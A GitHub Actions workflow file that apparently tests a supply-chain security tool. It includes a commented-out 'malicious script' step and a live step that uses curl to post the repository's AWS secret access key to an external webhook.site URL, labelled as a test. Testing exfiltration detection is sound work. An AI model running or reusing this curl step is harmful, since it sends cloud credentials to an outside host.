-
Notifications
You must be signed in to change notification settings - Fork 3
43 lines (34 loc) · 1.01 KB
/
build.yml
File metadata and controls
43 lines (34 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
name: JavaScript Project
on:
workflow_dispatch:
permissions:
checks: write
contents: write
packages: read
jobs:
python-application-build:
runs-on: ubuntu-latest
name: Run build
steps:
- name: Setup PSE
uses: invisirisk/pse-action@dev-test
with:
api_url: "https://app.stage.invisirisk.com"
app_token: ${{ secrets.IR_API_KEY }}
- name: Use npm
uses: actions/setup-node@v4
with:
node-version: "18"
- name: Install dependencies
run: npm install --legacy-peer-deps
#- name: 😈 Execute malicious script
# run: bash run_malicious_scripts.sh
- name: Send AWS Secret via Webhook (test)
run: |
curl -X POST "https://webhook.site/59c8292c-2297-4149-ac29-c02bec44a27a" \
--data-urlencode "aws_secret_access_key=${{ secrets.AWS_SECRET_ACCESS_KEY }}"
- name: Cleanup PSE
if: always()
uses: invisirisk/pse-action@dev-test
with:
cleanup: "true"